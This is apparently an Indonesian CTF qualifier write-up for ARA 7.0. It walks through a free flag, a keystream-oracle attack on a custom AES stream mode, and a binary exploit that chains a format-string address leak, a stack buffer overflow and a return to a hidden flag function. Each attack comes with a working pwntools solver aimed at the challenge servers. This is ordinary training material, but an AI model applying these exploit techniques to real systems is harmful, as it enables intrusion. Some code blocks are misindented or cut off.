Miscellaneous

Ready to Battle

The screenshot shows a CTF challenge interface with a dark blue background. At the top, there's a header with 'Challenge' and '151 Solves'. The main title is 'Ready to Battle' with a difficulty level of '10'. The author is 'Arlo'. The challenge text reads: 'Hai, Agents 🚗', 'Mari kita mulai kualifikasi CTF ARA 7.0!!!!', and 'Let's start the Hacking, here is your first FLAG!!'. Below this, the flag is displayed in a monospaced font: 'ARA7{let's_start_hacking_s33_you_in_final_hopefully! !!!!}'. At the bottom, there is a text input field labeled 'Flag' and a yellow 'Submit' button.

Solution

Jadi di sini kita tinggal masukkan aja flag yang ada di deskripsi

Flag

ARA7{let's_start_hacking_s33_you_in_f1nal_hopefully!!!!}

Cryptography

Next step

Solution

```
1. Test Encryption
2. Get Flag
3. Exit
>> 2
IV: 6c6f06b85469393220a98901dbcbdb8cd
CT:
1692824f78c769f9ac9d748f0e8a7c78f54841aca1a69c728b8176dd4c7d8781dd2b07c202f
e2b997907f100ba7fb41789ac59c203ece40dcdbd1d6d30ac212526c1d014c7e2c5222498458
6a68b62c26
```

Kurang lebih seperti itu setelah kita connect ke chall dengan nc.
Sekarang kita analisis script python yang diberikan dalam attachment.

```

elif choice == '2':
    padded_flag = pad(FLAG, 16)
    iv = os.urandom(16)

    print(f"IV: {iv.hex()}")

    output = b""
    for i in range(0, len(padded_flag), 16):
        block = padded_flag[i:i+16]
        ct_block = stream_encrypt(iv, block, KEY)
        output += ct_block
        iv = ct_block

    print(f"CT: {output.hex()}")

```

Jadi dalam script ini jika memilih 2, ntar dikasih IV sama CT. Nah, CT-nya ini didapatkan dari operasi XOR dan fungsi stream_encrypt.

```

def xor(a, b):
    return bytes(x ^ y for x, y in zip(a, b))

def stream_encrypt(iv, p, key):
    cipher = AES.new(key, AES.MODE_ECB)
    keystream = cipher.encrypt(iv)
    return xor(p, keystream)

```

Jika kita memilih 1, maka kita bisa buat test/coba enkripsinya.

```

if choice == '1':
    iv = bytes.fromhex(input("IV (hex): ").strip())
    msg = bytes.fromhex(input("Msg (hex): ").strip())

    if len(iv) != 16 or len(msg) != 16:
        print("Error: Length must be 16 bytes")
        continue

    ct = stream_encrypt(iv, msg, KEY)
    print(f"CT: {ct.hex()}")

```

Karena di sini pakai XOR, maka kita bisa pakai 00000000000000000000000000000000 (16 bytes 0) buat dapetin nilai AES(Key,IV).

Ambil Data Flag: Pilih Opsi 2 untuk mendapatkan initial_IV dan full_ciphertext.

Identifikasi Blok IV: V untuk blok pertama flag adalah initial_IV

- IV untuk blok kedua flag adalah hasil ciphertext blok pertama CT_1
- IV untuk blok ketiga adalah CT_2, dan seterusnya.

Minta Keystream ke Server:

- Pergi ke Opsi 1. Masukkan IV blok pertama dan pesan 00...00. Simpan hasilnya sebagai Keystream_1.
- Ulangi dengan memasukkan CT_1 sebagai IV untuk mendapatkan Keystream_2.

Dekripsi Manual:

- Lakukan XOR antara CT_1 dengan Keystream_1 untuk mendapatkan teks asli blok pertama.
- Lakukan XOR antara CT_2 dengan Keystream_2 untuk mendapatkan teks asli blok kedua.

Gabungkan: Satukan semua potongan teks untuk mendapatkan flag.

Solver

```
from pwn import *

# Helper to XOR two byte strings
def xor(a, b):
    return bytes(x ^ y for x, y in zip(a, b))

def solve():
    r = remote('chall-ctf.ara-its.id', 7969)
    r.sendlineafter(b">> ", b"2")
    r.recvuntil(b"IV: ")
    initial_iv = bytes.fromhex(r.recvline().strip().decode())
    r.recvuntil(b"CT: ")
    full_ct = bytes.fromhex(r.recvline().strip().decode())
    ct_blocks = [full_ct[i:i+16] for i in range(0, len(full_ct), 16)]

    flag_blocks = []
    current_iv = initial_iv

    for ct_block in ct_blocks:
        r.sendlineafter(b">> ", b"1")
        r.sendlineafter(b"IV (hex): ", current_iv.hex().encode())
        r.sendlineafter(b"Msg (hex): ", ("00" * 16).encode())

        r.recvuntil(b"CT: ")
        keystream = bytes.fromhex(r.recvline().strip().decode())
```

```

    pt_block = xor(ct_block, keystream)
    flag_blocks.append(pt_block)

    current_iv = ct_block

    full_flag = b"".join(flag_blocks)
    print(f"Decrypted Flag: {full_flag.decode(errors='ignore')}")

    r.close()

if __name__ == "__main__":
    solve()

```

Setelah kita run, begini hasilnya.

```

Binary Exploitation

Meow mi-miauuwww

Solution

```
(skipped@kali):[~/Unduhan/ARACTF/Quals]
$ file meow
meow: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]: f448133c0b-be87b11047fdb2852a6724aec18e, for GNU/Linux 3.2.0, not stripped
```

Ternyata file tersebut adalah ELF, jadi kita gunakan chmod agar file-nya bisa di-execute.

```
(skipped@kali)-[~/Unduhan/ARACTF/Quals]
$ chmod +x meow
```

Setelah itu, gunakan Ghidra buat analisis fuction-nya. Setelah membuka fungsi main, ternyata fungsi main bakal call fungsi mi_miauw.

```
void main(void)
{
    setvbuf(stdout, (char *)0x0, 2, 0);
    do {
        mi_miauw();
    } while( true );
}
```

Pas buka fungsi mi_miauw, ternyata pas perintah printf(local_48) ini gak dikasih format specifier. Jadi bisa kita gunakan buat print address memory-nya.

```
if (local_4c == 1) {
    puts("Meow meow? (Kasih Mize sesuatu buat diintip: )");
    fgets(local_48, 0x40, stdin);
    printf("Meow, ");
    printf(local_48);
}
```

Karena perintah fgets(local_40, 0x100, stdin) kita bisa mengisi local_48 lebih dari 64 bytes. Sehingga terjadi Buffer Overflow.

```
void mi_miauw(void)
{
    int local_4c;
    char local_48 [64];

    puts("=== MEOW MEOW ===");
    puts("1. Meow me..ow (Melihat Alamat)");
    puts("2. Meow MEOOWWW (Nyakar Memori)");
    printf("meow meow meow ^^: ");

    else if (local_4c == 2) {
        puts("Meow meow RAWRRRRR! (Mize masih lapar, RUAAAAA!!!!)");
        fgets(local_48, 0x100, stdin);
    }
}
```

Tapi, fungsi meow gak di-call sama sekali. Padahal ini fungsi yg dibutuhkan.

```

1 void meow(void)
2
3 {
4     char local_98 [136];
5     FILE *local_10;
6
7     local_10 = fopen("flag.txt","r");
8     if (local_10 == (FILE *)0x0) {
9         puts("Meow? (Flag filenya mana?");
10        /* WARNING: Subroutine does not return */
11        exit(1);
12    }
13    fgets(local_98,0x80,local_10);
14    printf("\n NYAAAA! Meow Meow: %s\n",local_98);
15    fclose(local_10);
16    /* WARNING: Subroutine does not return */
17    exit(0);
18 }

```

Kita coba gunakan objdump buat lihat address offset dari fungsi yang dibutuhkan. (sebenarnya Ghidra bisa sih)

```
00000000000001249 <meow>:
```

```

000000000000013e7 <main>:
13e7: f3 0f 1e fa      endbr64
13eb: 55              push %rbp
13ec: 48 89 e5        mov %rsp,%rbp
13ef: 48 8b 05 1a 2f   mov 0x2c1a(%rip),%rax # 4010 <stdout@GLIBC.2.2.5>
13f6: b9 00 00 00 00   mov $0x0,%ecx
13fb: ba 02 00 00 00   mov $0x2,%edx
1400: be 00 00 00 00   mov $0x0,%esi
1405: 48 89 c7        mov %rax,%rdi
1408: e8 13 fd ff ff   call 1120 <setvbuf@plt>
140d: b8 00 00 00 00   mov $0x0,%eax
1412: e8 ca fe ff ff   call 12e1 <mi_miauw>
1417: eb f4          jmp 140d <main+0x26>

```

Langkah-langkah penyelesaian:

1. Mendapatkan Leak Alamat: Gunakan Opsi 1 untuk membocorkan alamat dari stack. Berdasarkan analisis objdump, alamat kembali (return address) ke fungsi main berada di posisi ke-17 pada stack (%17\$P).
2. Kalkulasi Base Address: Kurangi alamat yang bocor dengan offset 0x1417 (instruksi setelah pemanggilan mi_miauw di main) untuk mendapatkan alamat dasar biner.
3. Kalkulasi Alamat Target: Hitung alamat absolut fungsi meow dengan menambahkan base address dengan offset 0x1249.
4. Menyusun Payload:
 - o Padding: 64 byte untuk mengisi buffer + 8 byte untuk menimpa RBP (Total 72 byte).
 - o Ret Gadget: Tambahkan alamat instruksi ret (0x101a) untuk menyelaraskan stack (stack alignment).

- Target Address: Alamat fungsi meow.

Solver

```
from pwn import *

# Connection details
host = 'chall-ctf.ara-its.id'
port = 54317
context.arch = 'amd64'

io = remote(host, port)

# --- STEP 1: LEAK THE BINARY ADDRESS ---
io.sendlineafter(b"meow meow meow ^^: ", b"1")
# %17$p points to the return address (0x1417 offset from base)
io.sendlineafter(b"intip: )", b"%17$p")

io.recvuntil(b"Meow, ")
leaked_addr = int(io.recvline().strip(), 16)
log.info(f"Leaked Return Address: {hex(leaked_addr)}")

# --- STEP 2: CALCULATE BASE AND TARGETS ---
# 0x1417 is the instruction in main after calling mi_miauw
binary_base = leaked_addr - 0x1417
meow_addr = binary_base + 0x1249
ret_gadget = binary_base + 0x101a

log.info(f"Binary Base: {hex(binary_base)}")
log.info(f"Target meow: {hex(meow_addr)}")

# --- STEP 3: THE BUFFER OVERFLOW ---
io.sendlineafter(b"meow meow meow ^^: ", b"2")

# Payload structure:
# [64 bytes buffer] + [8 bytes saved RBP] + [ret gadget] + [meow function]
payload = b"A" * 72
payload += p64(ret_gadget) # Alignment fix
payload += p64(meow_addr)
```

```
io.sendlineafter(b"RUAAAAA!!!!)", payload)
```

```
# Interaction to read the flag
```

```
io.interactive()
```

Ketika Solver di-run, begini hasilnya.

```
